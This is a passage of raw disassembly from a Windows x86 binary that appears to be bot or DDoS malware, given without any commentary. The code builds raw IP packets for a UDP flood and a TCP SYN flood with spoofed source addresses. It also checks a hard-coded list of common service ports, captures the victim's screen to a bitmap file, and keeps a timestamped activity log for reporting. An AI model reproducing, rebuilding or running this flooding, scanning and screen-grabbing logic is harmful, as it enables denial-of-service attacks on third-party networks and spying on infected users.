-2Eh var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_84 = byte ptr 8Ch arg_104 = byte ptr 10Ch arg_184 = byte ptr 18Ch arg_208 = dword ptr 210h arg_20C = dword ptr 214h push ebp mov ebp, esp sub esp, 254h push ebx push esi mov ebx, 0FFh push edi push ebx push 3 push 2 call dword_4CB6B4 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jnz short loc_414783 lea eax, [ebp+var_254] push offset unk_43679C push eax call sub_41B886 pop ecx xor edi, edi pop ecx jmp loc_414A4C ; --------------------------------------------------------------------------- loc_414783: ; CODE XREF: sub_414745+22j lea ecx, [ebp+var_14] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_14], 1 call dword_4CB614 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_4147AF call dword_4CB5C8 ; WSAGetLastError push eax push offset unk_43674C jmp short loc_4147CA ; --------------------------------------------------------------------------- loc_4147AF: ; CODE XREF: sub_414745+5Aj lea eax, [ebp+arg_4] push eax call dword_4CB674 ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_4147DE call dword_4CB5C8 ; WSAGetLastError push eax push offset unk_436708 loc_4147CA: ; CODE XREF: sub_414745+68j lea eax, [ebp+var_254] push eax call sub_41B886 add esp, 0Ch jmp loc_414A4C ; --------------------------------------------------------------------------- loc_4147DE: ; CODE XREF: sub_414745+77j push edi mov [ebp+var_24], 2 call dword_4CB634 ; htons mov [ebp+var_22], ax lea eax, [ebp+arg_4] push eax call dword_42720C ; inet_addr mov esi, dword_4270A8 mov [ebp+var_20], eax call esi ; GetTickCount mov [ebp+var_8], eax lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_254] push offset unk_4366DC push eax call sub_41B886 add esp, 0Ch cmp [ebp+arg_20C], edi jnz short loc_414847 push edi lea eax, [ebp+var_254] push [ebp+arg_208] push eax lea eax, [ebp+arg_184] push eax push [ebp+arg_0] call sub_409A72 add esp, 14h loc_414847: ; CODE XREF: sub_414745+E0j mov [ebp+var_4], edi call esi ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx mov esi, eax lea eax, [ebp+arg_104] push eax call sub_41B779 cmp esi, eax pop ecx ja loc_414A02 mov esi, 41Ch jmp short loc_41487B ; --------------------------------------------------------------------------- loc_414876: ; CODE XREF: sub_414745+2B7j mov ebx, 0FFh loc_41487B: ; CODE XREF: sub_414745+12Fj cmp dword_4CEDE8, edi jnz short loc_4148D5 push 10h pop eax mov [ebp+var_10], eax push eax lea eax, [ebp+var_34] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_10] push eax lea eax, [ebp+var_34] push eax push [ebp+arg_0] call dword_4CB5D8 ; getsockname push ebx push 1 call sub_418684 pop ecx pop ecx push eax movzx eax, [ebp+var_2E] push eax movzx eax, [ebp+var_2F] push eax movzx eax, [ebp+var_30] push eax lea eax, [ebp+var_54] push offset aD_D_D_D ; "%d.%d.%d.%d" push eax call sub_41B886 add esp, 18h jmp short loc_4148E5 ; --------------------------------------------------------------------------- loc_4148D5: ; CODE XREF: sub_414745+13Cj lea eax, [ebp+var_54] push offset dword_4CE7C8 push eax call sub_41BEB0 pop ecx pop ecx loc_4148E5: ; CODE XREF: sub_414745+18Ej push esi mov byte_4CE9C8, 45h call dword_4CB634 ; htons mov word_4CE9CA, ax lea eax, [ebp+var_54] push eax mov word_4CE9CC, 1 mov word_4CE9CE, di mov byte_4CE9D0, 80h mov byte_4CE9D1, 11h mov word_4CE9D2, di call dword_4CB674 ; inet_addr mov dword_4CE9D4, eax mov eax, [ebp+var_20] mov dword_4CE9D8, eax lea eax, [ebp+arg_84] push eax mov word_4CE9E2, di call sub_41B779 test eax, eax pop ecx jnz short loc_41495D call sub_41B8E2 cdq mov ecx, 401h idiv ecx push edx jmp short loc_41496B ; --------------------------------------------------------------------------- loc_41495D: ; CODE XREF: sub_414745+206j lea eax, [ebp+arg_84] push eax call sub_41B779 pop ecx push eax loc_41496B: ; CODE XREF: sub_414745+216j call dword_4CB634 ; htons mov word_4CE9DE, ax call sub_41B8E2 cdq mov ecx, 401h push 408h idiv ecx mov word_4CE9DC, dx call dword_4CB634 ; htons push 400h mov word_4CE9E0, ax call sub_41B8E2 cdq idiv ebx push edx push offset dword_4CE9E4 call sub_41B590 add esp, 0Ch lea eax, [ebp+var_24] push 10h push eax push edi push esi push offset byte_4CE9C8 push [ebp+var_C] call dword_4CB698 ; sendto cmp eax, 0FFFFFFFFh jz loc_414A7B inc [ebp+var_4] call dword_4270A8 ; GetTickCount sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx mov ebx, eax lea eax, [ebp+arg_104] push eax call sub_41B779 cmp ebx, eax pop ecx jbe loc_414876 loc_414A02: ; CODE XREF: sub_414745+124j push [ebp+var_C] call dword_4CB6CC ; closesocket mov esi, [ebp+var_4] lea eax, [ebp+arg_104] push eax imul esi, 41Ch call sub_41B779 pop ecx xor edx, edx mov ecx, eax mov eax, esi shr eax, 0Ah div ecx shr esi, 14h push eax push esi push [ebp+var_4] lea eax, [ebp+arg_4] push eax push offset unk_436678 loc_414A3D: ; CODE XREF: sub_414745+34Aj lea eax, [ebp+var_254] push eax call sub_41B886 add esp, 18h loc_414A4C: ; CODE XREF: sub_414745+39j ; sub_414745+94j cmp [ebp+arg_20C], edi jnz short loc_414A74 push edi lea eax, [ebp+var_254] push [ebp+arg_208] push eax lea eax, [ebp+arg_184] push eax push [ebp+arg_0] call sub_409A72 add esp, 14h loc_414A74: ; CODE XREF: sub_414745+30Dj pop edi pop esi xor eax, eax pop ebx leave retn ; --------------------------------------------------------------------------- loc_414A7B: ; CODE XREF: sub_414745+28Bj push [ebp+var_4] push esi call dword_4CB5C8 ; WSAGetLastError push eax lea eax, [ebp+arg_4] push eax push offset unk_4365EC jmp short loc_414A3D sub_414745 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414A91 proc near ; DATA XREF: sub_401ACD+6361o var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax call sub_41B779 pop ecx push eax lea eax, [ebp+var_190] push eax call sub_41B779 pop ecx push eax lea eax, [ebp+var_210] push eax call dword_4CB674 ; inet_addr push eax call sub_414C2E add esp, 0Ch push eax lea eax, [ebp+var_414] push offset unk_4367C8 push eax call sub_41B886 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_414B26 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_409A72 add esp, 14h loc_414B26: ; CODE XREF: sub_414A91+73j lea eax, [ebp+var_414] push eax call sub_4151AC push [ebp+var_10] call sub_40B412 pop ecx pop ecx push esi call dword_4270CC ; ExitThread pop edi pop esi sub_414A91 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414B45 proc near ; CODE XREF: sub_414C2E+194p var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h and [ebp+var_4], 0 cmp [ebp+arg_C], 0 push esi push edi jnz short loc_414B6E push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] call dword_427214 ; connect jmp loc_414C2A ; --------------------------------------------------------------------------- loc_414B6E: ; CODE XREF: sub_414B45+13j mov esi, [ebp+arg_0] push 1 pop edi lea eax, [ebp+var_8] push eax push 8004667Eh push esi mov [ebp+var_8], edi call dword_4271F8 ; ioctlsocket push [ebp+arg_8] push [ebp+arg_4] push esi call dword_4CB5DC ; connect push [ebp+arg_C] lea eax, [ebp+var_210] mov [ebp+var_108], esi mov [ebp+var_10C], edi push 0 push eax lea eax, [ebp+var_10C] mov [ebp+var_20C], esi push eax lea eax, [esi+1] push eax mov [ebp+var_210], edi call dword_4CB61C ; select test eax, eax jnz short loc_414BD2 or eax, 0FFFFFFFFh jmp short loc_414C2A ; --------------------------------------------------------------------------- loc_414BD2: ; CODE XREF: sub_414B45+86j or edi, 0FFFFFFFFh cmp eax, edi jnz short loc_414BDD loc_414BD9: ; CODE XREF: sub_414B45+B8j ; sub_414B45+DCj mov eax, edi jmp short loc_414C2A ; --------------------------------------------------------------------------- loc_414BDD: ; CODE XREF: sub_414B45+92j lea eax, [ebp+var_10C] push eax push esi call sub_426756 ; __WSAFDIsSet test eax, eax jnz short loc_414BFF lea eax, [ebp+var_210] push eax push esi call sub_426756 ; __WSAFDIsSet test eax, eax jz short loc_414BD9 loc_414BFF: ; CODE XREF: sub_414B45+A7j lea eax, [ebp+arg_0] mov [ebp+arg_0], 4 push eax lea eax, [ebp+var_4] push eax push 1007h push 0FFFFh push esi call dword_4271E0 ; getsockopt cmp eax, edi jz short loc_414BD9 mov eax, [ebp+var_4] neg eax sbb eax, eax loc_414C2A: ; CODE XREF: sub_414B45+24j ; sub_414B45+8Bj ... pop edi pop esi leave retn sub_414B45 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414C2E proc near ; CODE XREF: sub_414A91+51p var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = byte ptr -100h var_9C = word ptr -9Ch var_9A = word ptr -9Ah var_98 = dword ptr -98h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10Ch push ebx push esi push edi push 1 pop eax xor ebx, ebx push eax push ebx push ebx push 0FFh push 3 push 2 mov [ebp+var_14], eax call dword_427208 ; WSASocketA lea ecx, [ebp+var_14] push 4 push ecx push 2 push ebx push eax mov dword_4CEE58, eax call dword_4CB614 ; setsockopt mov esi, dword_4270A8 call esi ; GetTickCount push eax call sub_41B8D8 pop ecx xor eax, eax push 19h lea edi, [ebp+var_100] pop ecx mov [ebp+var_10C], ebx mov [ebp+var_7C], ecx mov [ebp+var_108], ebx mov [ebp+var_104], ebx mov [ebp+var_8C], 401h mov [ebp+var_88], 15h mov [ebp+var_84], 16h mov [ebp+var_80], 17h mov [ebp+var_78], 35h mov [ebp+var_74], 50h mov [ebp+var_70], 51h mov [ebp+var_6C], 58h mov [ebp+var_68], 6Eh mov [ebp+var_64], 71h mov [ebp+var_60], 77h mov [ebp+var_5C], 87h mov [ebp+var_58], 89h mov [ebp+var_54], 8Bh mov [ebp+var_50], 8Fh mov [ebp+var_4C], 1BBh mov [ebp+var_48], 1BDh mov [ebp+var_44], 400h mov [ebp+var_40], 599h mov [ebp+var_3C], 5DCh mov [ebp+var_38], 6B8h mov [ebp+var_34], 0CEAh mov [ebp+var_30], 0D3Dh mov [ebp+var_2C], 1388h mov [ebp+var_28], 1A0Bh mov [ebp+var_24], 1F40h mov [ebp+var_20], 1F90h rep stosd mov [ebp+var_10], ebx mov [ebp+var_1C], 3 mov [ebp+var_18], 0BB8h mov [ebp+var_4], ebx loc_414D74: ; CODE XREF: sub_414C2E+1C1j mov eax, [ebp+arg_0] mov [ebp+var_9C], 2 mov [ebp+var_98], eax mov eax, [ebp+var_4] lea edi, [ebp+eax+var_8C] mov ax, word ptr [ebp+eax+var_8C] push eax call dword_4CB634 ; htons push ebx push 1 push 2 mov [ebp+var_9A], ax call dword_4CB6B4 ; socket lea ecx, [ebp+var_1C] mov [ebp+var_C], eax push ecx lea ecx, [ebp+var_9C] push 10h push ecx push eax call sub_414B45 add esp, 10h mov [ebp+var_8], eax push [ebp+var_C] call dword_4CB6CC ; closesocket cmp [ebp+var_8], ebx jnz short loc_414DE7 mov ecx, [ebp+var_4] mov eax, [edi] mov [ebp+ecx+var_10C], eax loc_414DE7: ; CODE XREF: sub_414C2E+1ABj add [ebp+var_4], 4 cmp [ebp+var_4], 70h jl short loc_414D74 mov edi, offset dword_4CEE5C push offset asc_42D0F4 ; " " push edi call sub_41B886 pop ecx pop ecx call esi ; GetTickCount mov [ebp+var_C], eax lea eax, [ebp+var_10C] mov [ebp+var_4], ebx mov [ebp+var_8], eax loc_414E14: ; CODE XREF: sub_414C2E+23Cj call esi ; GetTickCount sub eax, [ebp+var_C] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja short loc_414E6C mov eax, [ebp+var_8] mov eax, [eax] cmp eax, ebx jz short loc_414E45 push eax push edi push offset aSD ; "%s%d " push edi mov [ebp+var_10], eax call sub_41B886 add esp, 10h jmp short loc_414E5F ; --------------------------------------------------------------------------- loc_414E45: ; CODE XREF: sub_414C2E+200j push 0FFFFh push ebx call sub_418684 pop ecx pop ecx push eax call dword_4CB634 ; htons movzx eax, ax mov [ebp+var_10], eax loc_414E5F: ; CODE XREF: sub_414C2E+215j inc [ebp+var_4] add [ebp+var_8], 4 cmp [ebp+var_4], 1Ch jl short loc_414E14 loc_414E6C: ; CODE XREF: sub_414C2E+1F7j ; sub_414C2E+477j push 28h push ebx push offset byte_4CEDF8 call sub_41B590 mov esi, 0FFFFh mov byte_4CEDF8, 45h push esi push 400h mov byte_4CEE01, 6 mov byte_4CEDF9, 8 call sub_418684 add esp, 14h push eax call dword_4CB634 ; htons push 28h mov word_4CEDFC, ax call dword_4CB634 ; htons or byte_4CEE00, 0FFh cmp dword_4CEDE8, ebx mov word_4CEDFA, ax mov word_4CEDFE, bx jnz short loc_414EEC push 0FFFEh push 1 call sub_418684 pop ecx pop ecx mov ecx, [ebp+arg_0] shl eax, 10h and ecx, esi or eax, ecx jmp short loc_414EF7 ; --------------------------------------------------------------------------- loc_414EEC: ; CODE XREF: sub_414C2E+2A2j push offset dword_4CE7C8 call dword_4CB674 ; inet_addr loc_414EF7: ; CODE XREF: sub_414C2E+2BCj mov dword_4CEE04, eax mov eax, [ebp+arg_0] push 4000h mov dword_4CEE08, eax mov byte_4CEE19, bl call dword_4CB634 ; htons push esi push ebx mov word_4CEE1A, ax call sub_418684 mov edi, eax push esi push ebx shl edi, 8 call sub_418684 add esp, 10h add edi, eax push edi call dword_4CB630 ; htonl mov dword_4CEE10, eax mov al, byte_4CEE18 mov edi, [ebp+arg_0] and al, 0Fh or al, 50h push 14h mov byte_4CEE18, al mov ax, word ptr [ebp+var_10] mov dword_4CEE14, ebx mov word_4CEE1E, bx mov word_4CEE0E, ax mov dword_4CEE34, edi mov byte_4CEE38, bl mov byte_4CEE39, 6 call dword_4CB634 ; htons mov word_4CEE3A, ax mov ax, word_4CEE0E mov word_4CEE20, 2 mov dword_4CEE24, edi mov word_4CEE22, ax mov [ebp+var_4], ebx jmp short loc_414FAD ; --------------------------------------------------------------------------- loc_414FA8: ; CODE XREF: sub_414C2E+451j mov esi, 0FFFFh loc_414FAD: ; CODE XREF: sub_414C2E+378j cmp [ebp+var_4], ebx jnz short loc_414FE1 push esi push ebx call sub_418684 pop ecx pop ecx push eax call dword_4CB634 ; htons mov word_4CEE0C, ax mov eax, dword_4CEE04 mov dword_4CEE30, eax mov byte_4CEE19, 2 mov dword_4CEE14, ebx jmp short loc_415000 ; --------------------------------------------------------------------------- loc_414FE1: ; CODE XREF: sub_414C2E+382j push esi push ebx mov byte_4CEE19, 10h call sub_418684 pop ecx pop ecx push eax call dword_4CB634 ; htons movzx eax, ax mov dword_4CEE14, eax loc_415000: ; CODE XREF: sub_414C2E+3B1j inc word_4CEDFC inc dword_4CEE10 mov ax, word_4CEE0E push 5 pop ecx mov esi, offset word_4CEE0C mov edi, offset dword_4CEE3C mov word_4CEE02, bx mov word_4CEE1C, bx push 14h rep movsd mov esi, offset byte_4CEDF8 mov word_4CEE22, ax push esi call sub_40AC68 push 20h push offset dword_4CEE30 mov word_4CEE02, ax call sub_40AC68 add esp, 10h mov word_4CEE1C, ax push 10h push offset word_4CEE20 push ebx push 28h push esi push dword_4CEE58 call dword_4CB698 ; sendto inc [ebp+var_4] cmp [ebp+var_4], 3FFh jl loc_414FA8 call dword_4270A8 ; GetTickCount sub eax, [ebp+var_C] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+arg_4] ja short loc_4150AA push [ebp+arg_8] call dword_427078 ; Sleep jmp loc_414E6C ; --------------------------------------------------------------------------- loc_4150AA: ; CODE XREF: sub_414C2E+46Cj pop edi pop esi mov eax, offset dword_4CEE5C pop ebx leave retn sub_414C2E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4150B4 proc near ; CODE XREF: sub_401ACD+71FFp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43D7F0 mov edi, 0B8h loc_4150C8: ; CODE XREF: sub_4150B4+33j cmp byte ptr [esi], 0 jz short loc_4150EB push [ebp+arg_0] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4150EB inc [ebp+var_4] add esi, edi cmp esi, offset dword_43E370 jl short loc_4150C8 jmp short loc_41512D ; --------------------------------------------------------------------------- loc_4150EB: ; CODE XREF: sub_4150B4+17j ; sub_4150B4+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43D7F0[esi] push ebx call sub_41B590 push 17h push [ebp+arg_0] push ebx call sub_41B5F0 push 9Fh lea eax, dword_43D808[esi] push [ebp+arg_4] push eax call sub_41B5F0 add esp, 24h inc dword_42949C pop ebx loc_41512D: ; CODE XREF: sub_4150B4+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_4150B4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415134 proc near ; CODE XREF: sub_401ACD+28DDp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_436810 push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h xor edi, edi mov esi, offset dword_43D7F0 loc_41515E: ; CODE XREF: sub_415134+72j cmp byte ptr [esi], 0 jz short loc_415199 lea eax, [esi+18h] push eax push esi push edi push offset dword_4367FC lea eax, [ebp+var_200] push 200h push eax call sub_41B980 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 2Ch loc_415199: ; CODE XREF: sub_415134+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43E370 jl short loc_41515E pop edi pop esi leave retn sub_415134 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4151AC proc near ; CODE XREF: sub_401221+384p ; sub_401221+408p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call dword_42712C ; GetLocalTime mov ebx, offset dword_4D325C mov edi, 80h mov esi, offset dword_4CF25C loc_4151CE: ; CODE XREF: sub_4151AC+3Dj cmp byte ptr [ebx], 0 jz short loc_4151E5 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41B5F0 add esp, 0Ch loc_4151E5: ; CODE XREF: sub_4151AC+25j sub ebx, edi cmp ebx, esi jge short loc_4151CE movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41B980 add esp, 28h pop edi pop esi pop ebx leave retn sub_4151AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415220 proc near ; CODE XREF: sub_4017ED+F7p ; sub_401ACD:loc_402077p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41C190 lea eax, [ebp+var_80] push eax call sub_4151AC add esp, 14h leave retn sub_415220 endp ; =============== S U B R O U T I N E ======================================= sub_41524C proc near ; CODE XREF: sub_401ACD+27D4p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4CF25C xor ecx, ecx loc_415253: ; CODE XREF: sub_41524C+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4D325C jl short loc_415253 cmp [esp+arg_C], ecx jnz short loc_415281 push ecx push [esp+4+arg_8] push offset dword_43685C push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_409A72 add esp, 14h loc_415281: ; CODE XREF: sub_41524C+19j push offset dword_436848 call sub_4151AC pop ecx retn sub_41524C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41528D proc near ; DATA XREF: sub_401ACD+2887o var_31C = byte ptr -31Ch var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_98 = byte ptr -98h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 31Ch mov eax, [ebp+arg_0] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp+var_11C] push 1 rep movsd xor edx, edx pop edi cmp [ebp+var_10], edx mov [ebp+var_8], 80h mov [ebp+var_4], edx mov [eax+110h], edi jnz short loc_4152E0 push edx lea eax, [ebp+var_118] push [ebp+var_14] push offset dword_43688C push eax push [ebp+var_11C] call sub_409A72 add esp, 14h loc_4152E0: ; CODE XREF: sub_41528D+33j cmp [ebp+var_98], 0 jz short loc_415300 lea eax, [ebp+var_98] push eax call sub_41B779 test eax, eax pop ecx mov [ebp+var_4], eax jz short loc_415300 mov [ebp+var_8], eax loc_415300: ; CODE XREF: sub_41528D+5Aj ; sub_41528D+6Ej and [ebp+arg_0], 0 mov esi, offset dword_4CF25C loc_415309: ; CODE XREF: sub_41528D+D4j mov eax, [ebp+arg_0] cmp eax, [ebp+var_8] jge short loc_415363 cmp byte ptr [esi], 0 jz short loc_415352 cmp [ebp+var_98], 0 jz short loc_415338 cmp [ebp+var_4], 0 jnz short loc_415338 lea eax, [ebp+var_98] push eax push esi call sub_418086 pop ecx test eax, eax pop ecx jz short loc_415352 loc_415338: ; CODE XREF: sub_41528D+90j ; sub_41528D+96j push edi lea eax, [ebp+var_118] push [ebp+var_14] push esi push eax push [ebp+var_11C] call sub_409A72 add esp, 14h loc_415352: ; CODE XREF: sub_41528D+87j ; sub_41528D+A9j inc [ebp+arg_0] add esi, 80h cmp esi, offset dword_4D325C jl short loc_415309 loc_415363: ; CODE XREF: sub_41528D+82j lea eax, [ebp+var_31C] push offset dword_436870 push eax call sub_41B886 xor esi, esi pop ecx cmp [ebp+var_10], esi pop ecx jnz short loc_41539D push esi lea eax, [ebp+var_31C] push [ebp+var_14] push eax lea eax, [ebp+var_118] push eax push [ebp+var_11C] call sub_409A72 add esp, 14h loc_41539D: ; CODE XREF: sub_41528D+EEj lea eax, [ebp+var_31C] push eax call sub_4151AC push [ebp+var_18] call sub_40B412 pop ecx pop ecx push esi call dword_4270CC ; ExitThread pop edi pop esi sub_41528D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4153BC proc near ; CODE XREF: sub_401ACD+734Fp var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = dword ptr -26h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 484h push ebx push esi xor esi, esi push edi push esi push esi push esi push offset aDisplay ; "DISPLAY" call dword_4CB620 ; CreateDCA mov edi, eax cmp edi, esi mov [ebp+var_20], edi jz loc_4155F0 push 8 push edi call dword_4CB63C ; GetDeviceCaps push 0Ah push edi mov [ebp+var_8], eax call dword_4CB63C ; GetDeviceCaps push 0Ch push edi mov [ebp+var_C], eax call dword_4CB63C ; GetDeviceCaps cmp eax, 8 mov [ebp+var_10], eax ja short loc_41541E push 18h push edi call dword_4CB63C ; GetDeviceCaps mov ebx, 100h jmp short loc_415420 ; --------------------------------------------------------------------------- loc_41541E: ; CODE XREF: sub_4153BC+50j xor ebx, ebx loc_415420: ; CODE XREF: sub_4153BC+60j push edi call dword_4CB680 ; CreateCompatibleDC cmp eax, esi mov [ebp+var_4], eax jz loc_4155D5 mov eax, [ebp+var_8] push esi mov [ebp+var_80], eax mov eax, [ebp+var_C] mov [ebp+var_7C], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_76], ax lea eax, [ebp+var_18] push esi push eax lea eax, [ebp+var_84] push 1 push eax push edi mov [ebp+var_84], 28h mov [ebp+var_78], 1 mov [ebp+var_74], esi mov [ebp+var_70], esi mov [ebp+var_6C], esi mov [ebp+var_68], esi mov [ebp+var_64], ebx mov [ebp+var_60], ebx call dword_4CB678 ; CreateDIBSection cmp eax, esi mov [ebp+var_1C], eax jz loc_4155E0 push eax push [ebp+var_4] call dword_4CB504 ; SelectObject cmp eax, esi jz loc_4155E0 cmp eax, 0FFFFFFFFh jz loc_4155E0 push 0CC0020h push esi push esi push edi push [ebp+var_C] push [ebp+var_8] push esi push esi push [ebp+var_4] call dword_4CB67C ; BitBlt test eax, eax jz loc_4155E0 cmp ebx, esi jz short loc_4154DD lea eax, [ebp+var_484] push eax push ebx push esi push [ebp+var_4] call dword_4CB558 ; GetDIBColorTable mov ebx, eax loc_4154DD: ; CODE XREF: sub_4153BC+10Bj mov edi, [ebp+var_10] mov ecx, [ebp+var_8] imul edi, [ebp+var_C] imul edi, ecx mov eax, ebx push esi shr edi, 3 shl eax, 2 mov [ebp+var_8], eax push 80h lea edx, [eax+edi+36h] add eax, 36h push 2 mov [ebp+var_26], eax mov eax, [ebp+var_C] push esi push esi push 40000000h push [ebp+arg_0] mov [ebp+var_50], eax mov ax, word ptr [ebp+var_10] mov [ebp+var_30], 4D42h mov [ebp+var_2E], edx mov [ebp+var_2A], si mov [ebp+var_28], si mov [ebp+var_58], 28h mov [ebp+var_54], ecx mov [ebp+var_4C], 1 mov [ebp+var_4A], ax mov [ebp+var_48], esi mov [ebp+var_44], esi mov [ebp+var_40], esi mov [ebp+var_3C], esi mov [ebp+var_38], ebx mov [ebp+var_34], esi call dword_4270EC ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_4155C0 lea ecx, [ebp+var_14] push esi push ecx lea ecx, [ebp+var_30] push 0Eh push ecx push eax call dword_4270E0 ; WriteFile lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_58] push 28h push eax push [ebp+arg_0] call dword_4270E0 ; WriteFile cmp ebx, esi jz short loc_4155A2 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_484] push [ebp+var_8] push eax push [ebp+arg_0] call dword_4270E0 ; WriteFile loc_4155A2: ; CODE XREF: sub_4153BC+1CCj lea eax, [ebp+var_14] push esi push eax push edi push [ebp+var_18] push [ebp+arg_0] call dword_4270E0 ; WriteFile push [ebp+arg_0] call dword_427068 ; CloseHandle push 1 pop esi loc_4155C0: ; CODE 